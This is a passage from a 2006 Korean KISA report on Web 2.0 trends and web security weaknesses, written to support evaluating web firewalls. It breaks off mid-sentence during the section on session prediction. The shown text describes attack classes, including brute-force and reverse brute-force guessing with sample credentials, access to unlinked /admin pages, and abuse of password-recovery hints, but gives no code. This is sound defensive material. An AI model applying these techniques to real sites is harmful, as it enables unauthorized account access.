1. 연구자료 등록서
작성자 작성부서 승인자 작성일자 페이지
박 정 환 보안성평가단 평가2팀 조 규 민 2006-11-20 43
출 연
제 출 구분 연도 일련번호 변 경
(위 탁)
번 호 평가2팀 - 2006 - 002 코 드
기 관
기 술 1. A급
기술보호기간
보 호 2. B급
(급에 한함)
등 급 3. C급
승인문서관리자 등록일자
노 병 규 2006 - 12 - 20
제 한 글 Web 2.0 기술동향 및 Web 보안 취약성 분석
목 영 문 Web 2.0 Technical Trend and Web Security Threat Analysis
인증, 인가, 클라이언트측 공격, 명령어 수행, 정보유출, 논리적 공격, 공격
한 글
백터, 영역별 리스크, 리더기 유형별 리스크, 표준별 리스크
색
인
어 Authentication, Authorization, Client-side Attack, Command Execution,
영 문 Information Disclosure, Logical Attacks, Attack vector, Risks by Zone,
Reader Type-Specific Risks, Standard -type Risk
Web 2.0이 최근에 나온 기술로 2장에서는 Web 2.0의 개념, 적용기술,
유사 기술과의 비교, 국내외 적용사례 등을 통해 Web 2.0에 대한 기술을
요 약 대해 알아보고, 현재 Web이 갖는 취약성 및 Web 2.0 기술이 적용됨에
(300자 이내) 따라 추가된 취약성에 대해 알아보겠다. 본 보고서를 통해 향후, Web2.0
기술이 보편화 되었을 때 웹방화벽 제품을 평가하는데 활용할 수 있을
것으로 기대한다.
공동 작성자 방지호
관 련 문 서
배 포 처
종합관리번호 보존등록일 확인
[무단복제금지 KISA Proprietary]

2. Web 2.0 기술동향 및
보안 취약성 분석
2006. 11
보안성평가단 / 평가 2팀

3. 목 차
제 1 장 개요 ······································································································ 1
제 2 장 Web 2.0 기술동향 ············································································ 1
2.1 개요 ·································································································································· 1
2.2 Web 2.0의 적용 기술 ··································································································· 4
2.3 Web 2.0과 유사방식 비교 ··························································································· 6
2.4 국내․외 업체 동향 ······································································································ 9
제 3 장 Web1.0의 취약성 ············································································ 11
3.1 인증(Authentication) ···································································································· 11
3.2 인가(Authorization) ······································································································ 13
3.3 클라이언트측 공격(Client-side Attacks) ································································ 16
3.4 명령어 수행(Command Execution) ········································································· 19
3.5 정보 유출 (I nf or mat i on Di scl osur e ········································································· 27
)
3.6 논리적 공격(Logi c al At t ac k s ················································································· 32
)
제 4 장 Web2.0의 취약성 ·········································································· 34
4.1 공격 벡터(Attack vector)로서의 웹 피드 ································································ 35
4.2 영역별 리스크(Risks by Zone) ················································································ 37
4.3 리더기 유형별 리스크(Reader Type-Specific Risks) ·········································· 39
4.4 표준별 리스크(Standard Risk) ·················································································· 40
제 5 장 결론 ···································································································· 41
[참조문헌] ········································································································ 43

4. 제 1 장 개요
인터넷의 커뮤니티, 블로그 등 활성화게 됨에 따라, 사용자들의 참여와 개방성이
발전함에 따라, 국내․외에서 Web 2.0의 기술을 적용하는 사례가 늘고 있다. 이에
대한 지속은 계속될 것이며, Web 2.0이 활성화 되면, 기존의 웹이 가지고 있는 취
약점 뿐만 아니라, 추후 소개될 Ajax, XML, API 기술 등이 적용됨에 따라 XML 컨
텐트 피딩 등 웹에서의 침해행위는 더욱 증가할 것으로 예상된다. 본 문서에서는
Web 2.0이 최근에 나온 기술로 2장에서는 Web 2.0의 개념, 기술, 유사한 기술과의
비교하여 Web 2.0에 대한 기술을 파악하고, 3장에서는 Web이 갖는 취약성에 대해
알아보고, 4장에서 Web 2.0 기술이 적용됨에 따라 추가된 취약성에 대해 알아보겠
다. 본 문서는 웹 보안제품의 평가에 활용하고자 한다.
제 2 장 Web 2.0 기술동향
2.1 개요
Web2.0은 Web1.0과 달리 일방적인 정보 제공형태가 아닌 사용자들의 참여와 개
방성을 통해 사용자들이 일방적으로 정보를 제공받지 않고 블로그, 검색 등을 활용
해 스스로 정보 및 네트워크를 창조하고 공유하는 것이다. Web 2.0은 플렛폼으로서
의 웹, 완전히 새로운 형태의 웹 이라고도 불리고 있으며, 웹 비즈니스의 국내외 주
요 개발자들에 의해 실 서비스로 구현되고 있다. Web2.0이 초래하는 Web 비즈니스
의 구조변화를 살펴보면, 다음 아래의 그림과 같이 3개축(특징, 실현수단, 활용사례)
로 생각해 볼 수 있다.
[그림 1] Web 2.0의 주된 키워드군[출처: Nomura 종합연구소]
- 1 -

5. 또한, 비즈니스측면에서는 Web의 여명기를 Web1.0, 보급기를 Web1.5, 현재의 웹을
Web2.0으로 한다고 했을 때 다음 아래와 같이 표현될 수 있다.
[그림 2] Web 비즈니스 구조의 변화[출처: Nomura 종합연구소]
위 그림과 같이 서로 링크되며, “Long Tail”을 의식한 비즈니스를 전개하기 위해서
는 “유저 참가형”으로 많은 유저 피드백을 모으고, 많은 유저를 참가시키기 위해서는
AJAX 등을 이용해 “리치한 유저 체험”을 실현해, 유저가 소문․정보를 입력하고 싶어하
는 매력적인 Web 사이트를 구축해야 할 것이다. Web2.0으로 등장하면서, 정보발신자
가 다양화 된다는 것을 알 수 있다. 종래의 Web에서는 정보 발신자는 대기업․매스컴
등이 높은 선진적 유저에게 한정되었다. 엄밀히 말하면, 유저가 BBS나 Email로 정보 발
신하는 것은 가능했지만, 이 정보들은 다양한 서버상이나 로컬 머신상에 산재하였고 개개의
정보는 큰 의미를 가지지 못했다. 하지만 Web2.0에서 블로그․SNS(Social Networking Site),
Wiki․유저리뷰사이트 라는 정보를 발신․집약하는 툴을 누가나 간단히 이용할 수 있게
된다. 즉 모아진 소문 정보는 산재할 뿐 아니라 서로 제휴의 가속화를 통해 매스(집단)을
형성하게 된다. 이것은 CGM(Consumer Genterated Media)로 불리며, 유저가 정보를
발신하는 미디어로 주목받고 있다.
[그림 3] 정보 발신자의 다양화와 CGM의 대두[출처: Nomura 종합연구소]
- 2 -

6. [그림 4] 상호 제휴의 가속[출처: Nomura 종합연구소]
Web2.0의 비즈니스 모델, 정보모델, 기술트랜드 변화를 지금까지의 변천과 향후 방
향성을 살펴보면 다음 아래와 같다.
[그림 5] Web2.0의 진화방향[출처: Nomura 종합연구소]
Web2.0은 하나의 트랜드이자 거부할 수 없는 추세임은 틀림이 없으며, goggle,
Bit Torrents, 위키, 블로그, API 등을 통하여 성공적인 뿌리를 내리고 있음을 시사
하는 것이다.
지금까지 이런 Web2.0을 가능하게 한 특징을 살펴보면 다음과 같다.
- 3 -

7. o 사용자 참여의 태그이다 : 사용자들이 각 자료에 자발적인 참여를 통해 태그를
달고 이를 유통시키는 것이다. 어떤 대가도 없이 재미와 가치의식만으로 그렇
게 하고 있다는 점이다. Flickr나 닐리셔스(del.icio.us) 등이 이러한 태그 기반의
비즈니스 모델로 들 수 있다.
o 사용자 중심의 인터페이스이다 : 사용자들에게 더 편리하고 직관적인 서비스를
지향한다는 점이다. AJAX(구글 맵스, 네이버의 추천 검색, 다음의 주소록 입력
방식 등에 활용)처럼 사용자에게 불편을 끼치지 않으면서 최대한의 편의를 제공
하고자 하는 노력은 Web2.0비즈니스 모델이 갖는 또 다른 특징의 하나이다.
o 사용자가 직접 가치를 부여한다는 것이다. : e-베이의 평판 시스템이나 아마존의
추천 도서 목록제, G마켓의 추천 및 품평 글 올리기 등이 예이다. 구매자들은
광고나 홍보보다 기존 구매자들이 올리는 추천이나 평가 자료에 더 신뢰를 보이고
있다.
o 직접 참여하는 미디어이다. : 블로그, Trackback, RSA에서 보듯 더 이상 정체나
정보의 유통에 그치지 않는다. 항상 살아 움직이며 외부와의 의사소통을 해 나
가는 열린 공간인 것이다. 이제 이용자가 정보의 생산과 소비를 겸하는 새로운
개념의 모델이다.
o 신뢰와 분산이다. : 위키디피아사전은 종전 소수의 전문가에 의해 만들어져 오던
‘사전’이라는 통념을 무너뜨린 사건이다. 즉, 소수의 전문지식보다 다수의 집단지
능이 더 가치를 평가 받는다. 개개인의 지식과 전문성은 전문가에 떨어질지도
모른다. 그러나, 각 개개인의 지능은 가치를 내포하고 있고, 이들이 모인 다수의
정보나 지식의 가치는 훨씬 더 많은 가치를 함축하고 있다.
o 롱테일 비즈니스다 : Long Tail이란 긴 꼬리를 말한다. 마케팅에 있어 80대 20의
법칙을 우선시 했으나 하나의 금과옥조처럼 평가되어 왔다면 Web2.0 시대에서는
주목 받지 못하는 80에 더 기회를 부여한다.
2.2 Web 2.0의 적용 기술
Web2.0 인프라 기술은 복잡하고 진화 중에 있으며, 대표적 기술은 AJAX, API,
LAMP, XML, RSS, REST 등이 있다. 각각의 기술에 대한 특징을 알아보도록 하겠다.
□ AJAX(Asynchronous JavaScript And XML)
XHTML, CSS, 자바스크립트 등의 기술이 고루 섞여 대화형 웹 어플리케이션을 만들
수 있게 하는 웹프로그래밍 기술의 복합체, 비동기식 자바스크립트와 XML
(Asynchronous JavaScript And XML)의 줄임말이다. Ajax는 XHTML, CSS,
JavaScript, Document Object Model, XMLHttpRequest 등의 기술로 이루어진다.
- 4 -

8. XML기반의 웹서비스 언어를 사용하고 클라이언트에서는 자바스크립트를 가지고 서버에
응답한다. 그 결과 브라우저와 웹서버 간의 데이터 량이 줄어들어 어플리케이션의 응
답성이 향상되고 웹서버의 부담이 줄어들게 된다. 웹에서 해당 서비스를 쓰는데
있어 별도로 프로그램을 설치(예:액티브엑스, 플래시)하거나 해당 기능을 갖춘 새 창
을 띄울 필요가 없다. 사용자로 하여금 직접 웹 상의 자료의 위치를 편집하는 등 커
스터마이징을 가능하게 해준다. 구글의 지메일, 구글맵이 Ajax를 구현한 서비스의
대표적인 예이다. 사진공유사이트인 플릭커는 사진 미리보기 기능에서 플래시를 빼
고 Ajax로 전환했다. 현재, 차세대 인터넷 Web2.0에 부합하는 혁신적인 기술로 평가받
기도 하나, 브라우저에 따라 XMLHttpRequest르 사용할 수 없는 경우도 있고 복잡성
이 문제가 되어 아직 논란이 존재한다.
□ API(Application Program Interface)
사전적 의미는 소프트웨어 어플리케이션을 개발하기 위한 여러 가지 함수의 집
합이다. 즉 특정 소프트웨어나 프로그램의 기능을 다른 프로그램에서도 활용할 수
있도록 표준화된 인터페이스를 공개하는 것을 의미한다. 포털은 자사의 서비스 구
성요소를 모듈화 시킨 API를 공개해 이용자가 이를 활용해 다양한 서비스를 스스
로 제작할 수 있도록 지원하고 있다. 특히, API 활용 방법을 상세하게 안내함으로
써 막대한 투자와 노력 없이도 포털과 동일한 수준의 인터넷 서비스를 쉽게 만들
수 있도록 하고 있다. 예를 들어, 네이버의 검색API를 이용하면 자신만의 검색서비
스를 구축할 수 있고, 국어사전 API를 활용해 개인 블로그에서 국어사전을 방문자
에게 제공할 있게 된다. API 공개는 지금까지 콘텐츠의 소비자 역할을 담당했던 이
용자가 서비스의 생산자 역할을 겸할 수 있다는데 큰 의의가 있다. 아직 API를 활
용해 매쉬업을 만들어내기 위해서는 일정수준 이상의 프로그래밍 능력이 필요하지
만, 이러한 것을 보완하기 위해 툴이 개발되고 있고, API공개가 가속화됨에 따라
가까운 미래에는 누구나 자신의 입맛에 맞는 인터넷 서비스를 스스로 만들 수 있게
될 것이다. 이와 같은 변화는 이용자와 참여와 공유를 바탕으로 새로운 가치를 창
출하는 최신 트렌드인 Web2.0과 맞닿아 있다. API는 완성품이 아닌 새로운 서비스
를 만들어 낼 수 있는 도구로써 다른 Web2.0서비스와 마찬가지로 이용자의 자발적
인 참여와 공유가 없으면 정보가치를 창출할 수 없다.
□ LAMP
LAMP는 리눅스(L), 아파치 웹서버(A), MySQL 데이터베이스(M), Perl 프로그래밍
언어(P) 조합을 말한다. Perl 애플리케이션은 솔라리스나 윈도우즈에서도 운영되고
MySQL 대신에 오라클을 선택할 수도 있다. LAMP은 주류의 기업 컴퓨팅 분야에
진출하고 있어 자바나 MS닷넷과 경쟁하는 존재가 되고 있다. 웹 사이트
www.opensourcecms.com에 가만 드루팔, 맘보, 줌라를 포함하는 70개가 넘는 오픈
소스 LAMP 기반의 CMS 데모 버전이 있다. eZ 퍼블리시, 레냐, PHPBB는 이 사이
- 5 -

9. 트에서 수행되는 데모 소프트웨어를 제공한다.
□ RSS
RSS는 컨텐츠 배급과 수집에 관한 표준포맷으로 RSS의 사전적 의미는 Really
Simple Syndication 또는 Rich Site Summary의 머리글자이며, XML기반의 표준 통
신 포맷이다. Wikipedia는 RSS를 하나의 “전송규약(Protocol)"로 이해하고 있다.
RSS는 http 또는 FTP와 같은 하나의 전송규약에 가깝다고 할 수 있다. 우리가 사용
하는 웹주소를 보면 ”http://www../xxx.htm"으로 구성되는데 이를 풀이하면 http
라는 전송방으로 html파일을 보낸다는 의미로 이해할 수 있다. 이때 http에 대응하
는 것이 RSS이며 html에 대응하는 것이 xml 이다. 즉, RSS는 데이터를 보내는 방
식이며 xml은 그 데이터의 구현방식으로 이해할 수 있다.
이러한 구현방식을 통해 다양한 콘텐츠를 요약하고, 상호 공유하고 주고받을 수 있
도록 만든 표준이다.
다음은 RSS 주요 사용분야는 다음 아래와 같다.
- 뉴스 및 공지사항 : 매시간 새로운 정보가 추가, 변경되는 뉴스 또는 신규소식 서비스
- 강좌 : 고객이 매번 사이트를 방문하여 규칙적으로 확인하지 않는 컨텐츠서비스
- 일정 : 주요행사 마감일자 또는 휴일정보
- 검색결과 : 관심 키워드에 대한 변경 및 신규 정보 조회 서비스
- 메일링 리스트 : 주기적으로 이메일로 고객에게 서비스 한 내용 모음
- 기타 : 입찰정보, 채용정보
□ REST(Representational State Transfer)
XML 파일로 된 웹 페이지를 읽어 원하는 정보를 수집하는 기능이다. 웹 페이지를
만드는 사람은 주기적으로 내용을 개정하고 사용자는 그 페이지의 URL만 알면 웹
브라우저로 읽어 정보를 얻을 수 있다. Http와 xml을 포함한 웹기술 및 프로토콜을
사용하느 구조적 형태로서 단순 객체 접근 프로토콜(SOAP)보다 사용이 간편하고,
사이트 내용을 기술하는 RSS(RDF Site Summary)의 정보 편집 기능과 유사하다. 몇
몇 전문가들은 핵심 웹 아키텍처만을 의존하는 서비스를 설명할 때 REST를 사용한다.
SOAP을 사용할때와 REST를 사용 때의 규칙은 없다. 하지만 웹 서비스 태스크에
SOAP이 아닌 REST를 사용할 것을 고려해보는 것은 중요하다. 웹 프록시, 거미,
크롤서, 에이전트, 브라우저 등 HTTP를 통해 전달된 XML을 처리할 수 있다.
2.3 Web 2.0과 유사방식 비교
□ 웹 1.0과 비교
팀 버너스에 의해 만들어진 종전의 웹은 하이퍼링크 구조를 기반으로 하는 텍스트
중심의 정적인 HTML 문서로 구성되고, 링크를 통해 단순히 클릭을 하는 것만으로
- 6 -

10. 자신이 읽을 문서로 이동하는 정도의 상호작용을 가진 수준이었다. 이에 반하여
Web2.0은 인터넷 사용 환경이 상호작용과 사회적 네트워크에 기반을 두고 있으며
시각적 상호작용적인 웹을 만들어 네트워크를 발생 시킬 수 있다.
다음 표는 기존의 웹 1.0과 비교한 표이다.
구분 Web 1.0 Web 2.0
AJAX, API, LAMP, XML, RSS,
기술 HTML, 엑티브엑스 등
REST
엑티브 엑스를 사용하여 보안
보안/OS 종속성 OS/브라우저의 종속이 큼
취약, OS/브라우저의 종속이 큼
인터넷 익스플로러, 단순한 뷰어 Fire Foz, 수백 개의 확장기능들이
대표적 브라우저
역할 유저들에 의해 수정 및 보완
위키피디어, 아마존, e베이, 딜로이
사례 하이퍼링크 위주의 웹 사이트
셔스, 지식인, 싸이월드 등
- 플랫폼으로서의 웹, 소스나 프로그
- 포털에서 제공하는 서비스 외에는
램을 응용하여 이용가능
이용자가 마음대로 할 수 없음
- 누구도 데이터를 소유하지 않으며,
- TV나 라이오처럼 정보를 제공
특징 모든 사람이 사용가능. 또한 더 나은
하기만 함
형태로 변형 가능
- 웹에 오른 데이터나 서비스에
- 참여와 공유의 사용자 중심, 참여자
대한 응용 및 변경 불가능
중심, 개인화
또한, Web1.0의 비즈니스는 Value Chain이라면, Web2.0은 Internet Ecosystem이라
고 할 수 있다. Web1.0에서 사용자는 웹기반 비즈니스 Value Chain내의 피동적인
정보 수용자가 되며, 사용자가 서비스, 콘텐츠 생산과정에 참여 및 기여하는 일련의
행동들은 간과되고 있다.
[그림 6] Web1.0 기반의 Value-chain[출처 : 차세대 인터넷 Web2.0 코리아 2006]
- 7 -

11. 그러나 Web2.0에서는 인터넷 서비스를 사용자, 사업자, 광고주, 파트너 등 행
위자(Actor)들이 상호작용하는 군집체(Cluster)로 간주하고, 그 속에서 콘텐츠, 수
익 등 일련의 비즈니스 과정을 보이는 인터넷 생태계(Internet Ecosystem)으로
인식하고 있다.
[그림 7] Web2.0 기반의 Ecosystem[출처 : 차세대 인터넷 Web2.0 코리아 2006]
□ SOA와 비교
웹기반 표준기술인 웹서비스 기술을 활용하여 새로운 비즈니스를 창출한다는
측면에서 SOA는 최근 화두가 되고 있는 Web2.0과 매우 유사한 특징을 지니고
있다. 마이크로소프트 아키텍쳐 전략 담당관인 John de Vados는 Web2.0과 SOA
의 개념과 주요 특성을 비교하면서 현재 Web2.0은 소비자 중심 비즈니스 모델을
지원하고, SOA는 기업 중심 모델을 지원하고 있다고 보고 있다. 그리고 미래 비
즈니스 세계는 이 둘 간의 구분이 모호해지고 연계가 활발해짐에 따라, 궁극적으
로 Web2.0이 글로벌 차원의 SOA를 실현할 수 있을 것으로 전망하고 있다.
구분 Web 2.0 SOA
서비스 모델 웹 서비스 웹 서비스
AJAX, API, LAMP, XML,
적용 기술 WSDL, UDDI, SOAP, BPEL
RSS, REST
재 사용성 매우 높음 약간 높음
매우 높음
높음(보다 더 공식적)
유연성/순응성 단순한 데이터 포맷
조합과 통합
가벼운 프로그래밍 모델
BPM
Long Tail 효과 자산통합
네트워크 효과 데이터 퓨전
비즈니스 모델
집단기능 활용 래거시 자산의 생명주기 연장
고객 셀프 서비스 비즈니스 활동 모니터링
비즈니스 지능 활용
- 8 -

12. AJAX Service Layer
설계 플랫폼 신디케이션 Service Bus
멀티 디바이스 소프트웨어 Unit of Work
- 기능의 재정비
- 서비스로서의 SW(SAAS2) - 자산으로서 데이터
- 데이터 소스에 대한 통제 - 접근 가능성
- 공동개발자로서 사용자 신뢰 - 시스템/데이터 통합
- 집단기능 이용 - 비용절감
핵심 역량 - Long Tail 효과 - 비즈니스 기민성
- 단일 디바이스(PC플랫폼)을 넘 - B2B 셀프서비스
어선 소프트웨어 - 오픈 스탠다드
- 가벼운(Lightweight) UI, 개발 - 온톨로지(Ontologies)
모델, 비즈니스 모델 채용 - 오퍼레이션의 투명성
- 소비자 중심의 비즈니스 프로세스
2.4 국내․외 업체 동향
□ 국내 동향
현재, 국내 포털기업들은 Web2.0을 자신들의 미래 생존을 결정하고 진화할 수
있게 하는 중요한 결정자로 인식하고 있으며, 이에 따라, 국내 포털기업들은 사
용자를 파트너로 인정하고 이들과 함께 새로운 비즈니스 환경을 만들어내고자
UCC(User Created Contents : 사용자제작콘텐츠) 서비스 개발, 주요 플랫폼 서
비스의 API 개방, 다양하게 결합된 컴포턴트을 담을 수 있는 컨테이너의 제공
및 작은 트래픽을 모아 수익을 낼 수 있는 수익 모델개발 등 본격적인 서비스와
모델 개발에 힘을 기울이고 있다. 이에 대한 전력사업의 일환으로 네이버, 다음,
야후 등 국내 주요 포털기업들은 작년부터 블링크 서비스 강화, UCC 콘텐츠 유
성 전략을 수립하고 올해부터 다음 아래와 같은 Web2.0 서비스에 들어갔다.
포털사이트 서비스명 내용
블로그(Blog)와 링크(link)의 합성어로
블링크(blink.naver.com) 관심사가 같은 사용자들이 링크를 통해
네이버 정보를 상호교환하는 서비스
플레이(play.naver.com) UCC 기반의 멀티미니더 커뮤니티
다음 파이(pie.daum.net) UCC 기반의 이미지 커뮤니티 서비스
태그 기능이 더해진 사용자 중심의 검
야후!허브(kr.hub.yahoo.com)
색서비스
1GB의 용량제공과 통합 RSS 리더기의
야후코리아 야후!메일(mail.yahoo.co.kr) 기능이 내장된 Web2.0 기반의 차세대
웹메일 서비스
기존 위젯(1) 기능에 RSS 기능 및 위젯 전
야후!위젯(kr.widgets.yahoo.co.kr)
용 블로그를 개설하여 커뮤니티 강화
- 9 -

13. 마이네이트(my.nate.com UCC 기반의 퍼스털 포털 서비스
웹상의 모든 링크가 유통되는 블링크
미니채널(miniCH.nate.com)
(Blink)서비스
네이트 검색서비스로 검색결과에 대해 사용자
더 정확하고, 유용한 정보라고 판단하여
써플(searchplus.nate.com)
“플러스” 버튼을 누르면 다른 검색 결과
보다 상위에서 보여주는 검색 서비스
<출처 : STRABASE, 2006. 6>
□ 국외 동향
1) 일본
일본에서는 Web2.0기술을 활용한 벤처 기업들이 속속 등장하고 있으며, 이들은
소프트뱅크나, 라쿠텐(인터넷 쇼핑물)등의 1세대 벤처기업과 구분해 차세대 벤처기
업으로 지탱하며 새로이 주목하고 있다. 일본 최대의 SNS(Social Networking
Service)를 운영하는 mixi는 서비스 개시 2년 6개월 만에 500만 명의 회원을 모으는
성과를 올렸다. mixi는 SNS 서비스에서 커뮤니케이션 기능을 충실히 구현해 차별화
를 이뤄냈으며, 미국에서 시작된 SNS는 원래 읽기 등의 커뮤니케이션 기능이 없고,
“친구의 수를 자랑”하는 수준에 머무르기 쉬웠으나 mixi는 초기부터 읽기, 메시지,
커뮤니티 등의 구조를 도입했다. 향후 gbeovhs 기반으로 한 서비스 추가를 추진하
도 있다. 이렇게 mixi의 성공에 힘입어 SNS 서비스를 표방하는 많은 벤처 기업들은
다음 아래와 같다.
업체명 내용
기업의 홍보 전략으로 블로그 운영자를 대상으로 인터넷 통신 판매
그리 지원서비스이다. 즉 임의로 자신의 블로그에 상품 사진을 올려 고
객이 구매할 경우 일정 수수료를 받는 방식임
초보자들이 월 315엔으로 쉽게 홈페이지를 개설할 수 있도록 하
페이퍼 보이&코
는 인터넷상의 컴퓨터 서버 임대 서비스
웹샤크라는 인터넷 숍과 개인 홈페이지 등을 연결하는 인터넷 도매
도리컴
사업 서비스
셉테니 All About는 Web2.0을 활용해 전문성을 갖춘 미디어 기업 서비스
2) 중국
2005년 부반기부터 비롯된 중국의 열풍은 IT뿐만 아니라, 사회적, 문화적으로 급
속히 확산되어, 중국 IT 업계에서는 “Web2.0 백가쟁명의 시대”라고 표현하고 있다.
2005년 말 기준으로 중국의 블로그 유저는 대략 1,000만명으로 추정되고 있으며, 중
국 인터넷 인구 20명당 1명꼴로 블로그를 이용하고 있는 것으로 그 수는 아직도 급
- 10 -

14. 격하게 증가하고 있다. 블로그가 빠르게 확산되면서 사이트의 갱신 정보를 전달하
는 RSS 기능을 활용한 포트 캐스트나 비디오 포트 캐스트 등도 빠르게 활성화 되
었다. 블로그, SNS, RSS 등의 서비스를 통합한 신흥기업이 차례차례 두각을 나타내
고 있고, 이러한 기업은 초기 인터넷 붐을 주도했넌 포털 사이트 계열의 기업들을
구세력이라는 의미를 담은 Web1.0세대라고 지칭하고 있다. 하지만, 중국의 Web2.0
은 일본의 mixi와 같은 성공적인 비즈니스를 확보한 기업이 출현 않고 있으며, 아
직까지는 서비스 모델의 부재로 난항을 겪고 있다. 이러한 이유는 그동안 해외의
비즈니스 모델을 직수입하는 방식인 이른바 “C2C(Copy to China)”에 지나치게 의
존한 결과라고 보고 있다. 또한, “인터넷 서비스 = 무료”라 여기는 중국 유저의 인
식이 근본적인 요인으로도 거론되고 있는 실정이다.
제 3 장 Web1.0의 취약성
웹 보안의 취약성은 웹사이트 리스크에 지속적인 영향을 끼치고 있으며, 웹 보안
의 취약성이 발견되면, 보통 class of attack(보안 취약성을 이용할 수 있는 방법)으
로 칭하고 있다. 이런 유형으로는 버퍼 오버플로우, SQL 인젝션, XSS(Cross-site
Scripting) 등이 있다. 앞으로 다룰 내용은 6개(인증, 인가, 클라이언트측 공격, 명령
수행, 정보유출, 논리적 공격)의 카테고리로 분류하여 각각에 대한 취약성을 알아보
겠다.
3.1 인증(Authentication)
□ 무차별 공격(Brute Force Attack)
무차별 공격은 사용자의 ID, 비밀번호, 신용카드 암호, 암호 키 등을 프로그램을
이용하여 자동으로 시행착오를 겪으면서 알아낼 때 까지 계속 해보는 것이다. 아직
까지 많은 시스템이 취약한 비밀번호나 암호키를 허용함으로써 이러한 공격이 통하
고 있는 실정이다. 본질적으로 무차별 공격은 두가지 종류가 있다. 하나는 Normal
Brute Force Attack 과 다른 하나는 Reverse Brute Force Attack이 있다. 두 가지
공격의 차이는 첫 번째 Normal Brute Force Attack은 사용자 ID 하나에 비밀번호
를 지속적으로 입력하는 방식이며, Reverse Brute Foce Attack는 반대로 하나의 비
밀번호 놓고 지속적으로 사용자 ID를 바꾸면서 입력하는 방식을 의미한다. 다음 아
래는 하나의 예이다.
<공격 예시>
- 사용자 이름 = Jon
Normal Brute Force Attack - 비밀번호 = smith, michael-jordan, [애완동물 이
름], [생일], [차번호], -------
- 11 -

15. - 사용자 이름= Jon, Dan, Ed, Sara, Barbara, -----
Reverse Brute Force Attack
- 비밀번호 = 12345678
□ 불충분한 인증(Insufficient Authentication)
불충분한 인증은 공격자가 웹사이트에서 적절한 인증을 받지 않고 민감한 내용이나
기능에 액세스했을 때 발생한다. 특정, 웹 어플리케이션은 사용자가 ID를 적절하게
검증하지 않은 채 액세스를 허용하는 경우를 뜻한다. 인증을 받지 않고 돌아가기
위해서, 일부 리소스는 특정 장소를 "감추고" 메인 웹사이트나 다른 공개된 주소로
링크를 연결하지 않음으로써 보호할 수 있다. 그러나 이런 접근방식은 "모호성을 통
한 보안(Security Through Obscurity)"에 지나지 않는다. 따라서, 리소스가 공격자에게
알려져 있지 않았다고 해서 특정 URL을 통해 직접적으로 액세스하지 못하는 게 아
니라는 점을 이해할 필요가 있다. 그 특정 URL은 무차별공격 조사, 즉, 공동 파일
및 디렉터리 위치(예: /admin), 에러 메시지, 참조 로그(referrer logs), 또는 도움말
파일(help file) 내 자료 등을 통해 알아낼 수 있다. 예를 들면, 많은 웹 어플리케이
션에서 관리 기능위치 디렉터리와 루트 디렉터리가 떨어지게 설계되어 왔다
(/admin/). 이 디렉터리는 보통 웹사이트에서는 어느 곳과도 링크되어 있지 않지만
표준 웹 브라우저를 쓰면 액세스가 여전히 가능하다. 이렇게 링크가 걸려있지 않기
때문에 사용자나 개발자는 아무도 이 페이지를 볼 것이라고 생각하지 않는데, 그래서
여기에 대한 인증을 간과할 때가 많다. 공격자가 이 페이지를 방문하기만 하면 웹
사이트에 대한 관리자 액세스를 완전하게 얻을 수 있게 되는 것이다.
□ 취약한 비밀번호 복구기능 유효화(Weak Password Recovery Validation)
취약한 비밀번호 복구기능 유효화는 공격자가 다른 사용자의 비밀번호를 불법적
으로 획득하거나, 바꾸거나 복구할 때 발생한다. 기존의 웹사이트 인증 방식에서는
사용자가 비밀번호나 비밀번호에 해당하는 질문 등을 고르고 기억해야 했다. 사용
자만이 비밀번호를 알아야 했고 또한 비밀번호를 정확하게 기억해야 했다. 시간이
흐르면서 사용자들은 비밀번호를 잘 기억하지 못하게 되었다. 평균 사용자가 20개
웹사이트를 방문하는 시대가 되자 문제는 더 복잡해졌다. 웹사이트마다 비밀번호를
요구하기 때문이다(RSA Survey: http://news.bbc.co.uk/1/hi/technology/3639679.stm).
그래서 비밀번호 복구가 온라인 사용자를 위한 서비스에서 중요한 부분을 차지하게
되었다. 자동 비밀번호 복구 과정에는 사용자가 사용자 등록과정에서 선택했던 "비
밀 질문"에 대답을 하도록 하고 있다. 드롭다운 목록에 있던 질문일수도 있고 사용
자 임의의 질문일 수도 있다. 다른 매커니즘으로는 사용자가 등록과정에서 작성한 "
힌트"를 사용하는 것이다. 힌트의 목적은 사용자가 비밀번호를 더 잘 기억하도록 돕
는 것이다. 다른 매커니즘에서는 사용자 확인을 위해 사회보장번호, 집주소, 우편번
호등과 같은 개인 정보를 일부 제공하도록 하고 있다. 사용자가 신분확인을 한 후
- 12 -

16. 에 복구 시스템이 비밀번호를 보여주거나 이메일로 새 비밀번호를 보내준다. 공격
자가 복구 매커니즘을 무효화시키는 데 성공하면 그 웹사이트는 취약한 비밀번호
복구기능(Weak Password Recovery)를 가진 것으로 생각된다. 이것은 사용자의 ID를
유효화하는데 필요한 정보가 추측하기 쉽거나 따돌려질 수 있는 경우에 일어난다.
비밀번호 복구 시스템은 무차별 공격, 고유 시스템 결함, 추측하기 쉬운 비밀번호
질문 등을 사용하면 약해질 수 있다. 예를 들어 정보 확인하는 방법으로 비밀번호
복구기능 제공할 경우, 사용자의 이메일 주소와, 집주소, 전화번호만 요구하는 웹사
이트가 많다. 이런 정보는 온라인 전화번호부(미국의 경우)에서 쉽게 획득할 수 있
다. 그 결과 정보 확인은 별 비밀이 아니다. 더군다나 이 정보는 XSS나 피싱 등의
다른 방법을 통해서도 획득할 수 있다. 또한, 비밀번호 힌트를 이용한 비밀번호 복
구기능은 사용자가 비밀번호를 기억하기 쉽도록 힌트를 사용하는 웹사이트는 힌트
가 무차별 공격을 도와주기 때문에 공격을 받을 수 있다. 사용자가 "bday+fav
author"라는 힌트를 설정해놓고 "122277King"라는 비교적 괜찮은 비밀번호를 사용
한다고 하자. 공격자는 이 힌트에서 사용자의 비밀번호가 사용자의 생일과 좋아하
는 작가를 합친 것이라는 정보를 얻을 수 있다. 이로 인해 패스워드를 알아내기 위
해 브루트 포스 공격이 거쳐야 할 범위가 크게 줄어든다는 것을 알 수 있다.
3.2 인가(Authorization)
여기에서는 웹사이트가 사용자, 서비스 어플리케이션에 대해 요청된 동작을 수행
하는 데 필요한 허가를 받았는지를 결정하는 웹사이트의 방식을 타깃으로 하는 공
격에 대한 것이다. 예를 들어, 각 웹사이트는 특정 내용이나 기능에는 특정 사용자
만을 허가해야 한다. 그렇지 않은 경우 다른 리소스에 대한 사용자의 액세스는 제
한됨을 뜻한다.
□ 자격증명/세션 예측(Credential/Session Prediction)
자격증명/세션 예측은 웹사이트 사용자 ID를 가로채거나 허가된 사용자로 가장
하는 방법이다. 특정 세션이나 사용자를 확인하는 고유한 값을 추론하거나 추측하
면 공격이 성공한다. 세션 가로채기(Session Hijacking)으로도 알려진 이 방법의 결
